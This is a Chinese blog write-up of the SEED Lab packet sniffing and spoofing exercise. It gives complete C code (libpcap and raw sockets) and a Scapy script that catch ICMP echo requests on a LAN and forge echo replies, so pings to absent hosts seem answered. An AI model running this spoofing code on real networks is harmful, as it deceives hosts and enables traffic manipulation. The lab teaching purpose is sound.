Linux下的 sniff-andthen-spoof程序编写
2021/11/6 7:11:39
本文主要是介绍Linux下的 sniff-andthen-spoof程序编写,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Linux下的 sniff-andthen-spoof程序编写
一、任务描述
在本任务中,您将结合嗅探和欺骗技术来实现以下嗅探然后欺骗程序。你需要两台机器在同一个局域网。从机器A ping IP_X,这将生成一个ICMP echo request包。如果主机IP_X存在,ping程序将收到一个echo reply,并打印出响应。您的嗅探然后欺骗程序在攻击者的机器上运行,攻击者通过嗅探包监视LAN。当它看到一个ICMP echo request时,不管目标IP地址是什么,您的程序应该立即使用欺骗技术发送一个echo reply。因此,无论IP_X是否存在,ping程序总是会收到一个答复,表明主机X是在线。您需要用C语言编写这样一个程序,并在报告中包含屏幕截图,以显示您的程序是有效的。请在你的报告中附上代码(有足够数量的注释)。
这其实是SEED Lab的一个实验,可以在官网上找到。 SEED Lab: Packet Sniffing and Spoofing Lab
二、实现思路
ping一个IP地址其实是发送的ICMP Echo request包,所以我们需要先实现一个能抓到同一个局域网的ICMP Echo request包的嗅探程序代码。然后利用抓到的包,进行一定方式的伪造技术,构造一个ICMP echo reply包发送给受害主机,以达到欺骗目的。
1. 嗅探程序代码框架
- 实现流程
首先启动pcap监听网卡,其次编译BPF过滤器并设置过滤器,然后设置嗅探的处理函数,最后关闭嗅探器。
需要注意的是:根据BPF规则,我要设定filter的过滤规则。因为要侦测ICMP echo request包,所以设置字段如下:"icmp[icmptype]==icmp-echo"
- 实现代码如下:
// sniff: capture the pkt void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { printf("get the pkt"); //******************************************************************************* //implement spoofing code... } //主程序 int main() { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fp; char filter_exp[] = "icmp[icmptype]==icmp-echo"; bpf_u_int32 net; // Step 1: Open live pcap session on NIC with name eth3. // Students need to change "eth3" to the name found on their own // machines (using ifconfig). The interface to the 10.9.0.0/24 // network has a prefix "br-" (if the container setup is used). handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf); printf("listening on network card, ret: %p...\n", handle); // Step 2: Compile filter_exp into BPF psuedo-code printf("try to compile filter...\n"); pcap_compile(handle, &fp, filter_exp, 0, net); printf("try to set filter...\n"); pcap_setfilter(handle, &fp); // Step 3: Capture packets printf("start to sniff...\n"); pcap_loop(handle, -1, got_packet, NULL); pcap_close(handle); //Close the handle return 0; }
2. 获得所抓包的相关数据信息
因为我们需要伪造数据包的reply包,所以我们首先要获得request包中的信息,并弄清楚它们。
// 获得Ethernet、IP、icmp的头信息和payload及其长度信息 struct ethheader *eth = (struct ethheader *)packet; struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader)); struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader)); const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader)); int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));
3. 伪造ICMP echo request包并发送给受害主机
根据协议栈规则,我们需要逐级向下封装数据包,即payload->icmp->ip。最后通过原生套接字编程把伪造IP数据包发送给受害主机。
-
注意点
- 伪造这个IP数据包,一定要加上payload数据。我之前没有加上payload,受害主机一直接收不到回复,最后老师告诉我,如果不加上payload,受害主机可能不认伪造的数据包。
- 一定注意复制payload所用的函数是
memcpy()内存拷贝函数
。我之前使用的为strncpy()字符串复制函数
,但是代码中所获得的payload是一个指向字符串的指针,所以我每次复制给伪造的payload都只有4字节。我花费了大量时间在这,一直找不到原因,害,还是自己的C语言太菜了,连指针与字符数组都搞不清了。 - ICMP头需要计算checksum,而IP头不用,具体原因我也不知道,如果大佬知道,请指点我一下。
-
实现代码如下
/********************************************************* Step 1: Fill in the ICMP data field. ********************************************************/ char buffer[1500]; memset(buffer, 0, 1500); char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader); // copy the data_pkt payload to payload memcpy(data, data_pkt, data_len); /********************************************************* Step 2: Fill in the ICMP header. ********************************************************/ struct icmpheader *icmp = (struct icmpheader *) (buffer + sizeof(struct ipheader)); icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply. icmp->icmp_code = 0; icmp->icmp_id = icmp_pkt->icmp_id; icmp->icmp_seq = icmp_pkt->icmp_seq; // Calculate the checksum for integrity icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader)); /********************************************************* Step 3: Fill in the IP header. ********************************************************/ struct ipheader *ip = (struct ipheader *) buffer; ip->iph_ver = 4; ip->iph_ihl = 5; ip->iph_ttl = 64; ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr; ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr; ip->iph_protocol = IPPROTO_ICMP; ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct icmpheader)+ data_len); printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip)); printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip)); /********************************************************* Step 4: Finally, send the spoofed packet ********************************************************/ struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); printf("sock: %d\n", sock); // Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); // Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock);
三、程序全部代码
- myheader.h
/* Ethernet header */ struct ethheader { u_char ether_dhost[6]; /* destination host address */ u_char ether_shost[6]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; /* IP Header */ struct ipheader { unsigned char iph_ihl:4, //IP header length iph_ver:4; //IP version unsigned char iph_tos; //Type of service unsigned short int iph_len; //IP Packet length (data + header) unsigned short int iph_ident; //Identification unsigned short int iph_flag:3, //Fragmentation flags iph_offset:13; //Flags offset unsigned char iph_ttl; //Time to Live unsigned char iph_protocol; //Protocol type unsigned short int iph_chksum; //IP datagram checksum struct in_addr iph_sourceip; //Source IP address struct in_addr iph_destip; //Destination IP address }; /* UDP Header */ struct udpheader { u_int16_t udp_sport; /* source port */ u_int16_t udp_dport; /* destination port */ u_int16_t udp_ulen; /* udp length */ u_int16_t udp_sum; /* udp checksum */ }; /* ICMP Header */ struct icmpheader { unsigned char icmp_type; // ICMP message type unsigned char icmp_code; // Error code unsigned short int icmp_chksum; //Checksum for ICMP Header and data unsigned short int icmp_id; //Used for identifying request unsigned short int icmp_seq; //Sequence number }; /* TCP Header */ struct tcpheader { u_short tcp_sport; /* source port */ u_short tcp_dport; /* destination port */ u_int tcp_seq; /* sequence number */ u_int tcp_ack; /* acknowledgement number */ u_char tcp_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4) u_char tcp_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short tcp_win; /* window */ u_short tcp_sum; /* checksum */ u_short tcp_urp; /* urgent pointer */ }; /* Psuedo TCP header */ struct pseudo_tcp { unsigned saddr, daddr; unsigned char mbz; unsigned char ptcl; unsigned short tcpl; struct tcpheader tcp; char payload[1500]; };
- sniff-andthen-spoof.c
#include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <pcap.h> #include "myheader.h" // ICMP checksum caculation unsigned short in_cksum (unsigned short *buf, int length) { unsigned short *w = buf; int nleft = length; int sum = 0; unsigned short temp=0; /* * The algorithm uses a 32 bit accumulator (sum), adds * sequential 16 bit words to it, and at the end, folds back all * the carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* treat the odd byte at the end, if any */ if (nleft == 1) { *(u_char *)(&temp) = *(u_char *)w ; sum += temp; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16 sum += (sum >> 16); // add carry return (unsigned short)(~sum); } // capture the pkt void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { // get ethernet, ip, icmp, payload pkt sniffed pkt struct ethheader *eth = (struct ethheader *)packet; struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader)); struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader)); const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader)); int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader)); //***************spoofing the pkt***************************************** /********************************************************* Step 1: Fill in the ICMP data field. ********************************************************/ char buffer[1500]; memset(buffer, 0, 1500); char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader); // copy the data_pkt to data memcpy(data, data_pkt, data_len); /********************************************************* Step 2: Fill in the ICMP header. ********************************************************/ struct icmpheader *icmp = (struct icmpheader *) (buffer + sizeof(struct ipheader)); icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply. icmp->icmp_code = 0; icmp->icmp_id = icmp_pkt->icmp_id; icmp->icmp_seq = icmp_pkt->icmp_seq; // Calculate the checksum for integrity icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader)); /********************************************************* Step 3: Fill in the IP header. ********************************************************/ struct ipheader *ip = (struct ipheader *) buffer; ip->iph_ver = 4; ip->iph_ihl = 5; ip->iph_ttl = 64; ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr; ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr; ip->iph_protocol = IPPROTO_ICMP; ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct icmpheader)+ data_len); printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip)); printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip)); /********************************************************* Step 4: Finally, send the spoofed packet ********************************************************/ struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); printf("sock: %d\n", sock); // Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); // Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock); } int main() { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fp; char filter_exp[] = "icmp[icmptype]==icmp-echo"; bpf_u_int32 net; // Step 1: Open live pcap session on NIC with name eth3. // Students need to change "eth3" to the name found on their own // machines (using ifconfig). The interface to the 10.9.0.0/24 // network has a prefix "br-" (if the container setup is used). handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf); printf("listening on network card, ret: %p...\n", handle); // Step 2: Compile filter_exp into BPF psuedo-code printf("try to compile filter...\n"); pcap_compile(handle, &fp, filter_exp, 0, net); printf("try to set filter...\n"); pcap_setfilter(handle, &fp); // Step 3: Capture packets printf("start to sniff...\n"); pcap_loop(handle, -1, got_packet, NULL); pcap_close(handle); //Close the handle return 0; }
四、运行结果
结果如下图所示。主机IP为10.9.0.6,向一个网络不存在的IP为1.2.3.4,ping命令,得到了回复。向网络上存在的IP为8.8.8.8,也得到了回复。
五、 补充:python写法
python永远的神,好简单!!!!
#!/usr/bin/python3 from scapy.all import * def print_pkt(pkt): print(pkt[IP].dst,pkt[IP].src) send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/ICMP(type="echo-reply", id=pkt[ICMP].id, seq=pkt[ICMP].seq)/Raw(load=pkt[Raw].load)) pkt = sniff(iface='br-cbc1af37a44e', filter="icmp[icmptype]==icmp-echo",prn=print_pkt)
这篇关于Linux下的 sniff-andthen-spoof程序编写的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-12如何创建可引导的 ESXi USB 安装介质 (macOS, Linux, Windows)
- 2024-11-08linux的 vi编辑器中搜索关键字有哪些常用的命令和技巧?-icode9专业技术文章分享
- 2024-11-08在 Linux 的 vi 或 vim 编辑器中什么命令可以直接跳到文件的结尾?-icode9专业技术文章分享
- 2024-10-22原生鸿蒙操作系统HarmonyOS NEXT(HarmonyOS 5)正式发布
- 2024-10-18操作系统入门教程:新手必看的基本操作指南
- 2024-10-18初学者必看:操作系统入门全攻略
- 2024-10-17操作系统入门教程:轻松掌握操作系统基础知识
- 2024-09-11Linux部署Scrapy学习:入门级指南
- 2024-09-11Linux部署Scrapy:入门级指南
- 2024-08-21【Linux】分区向左扩容的方法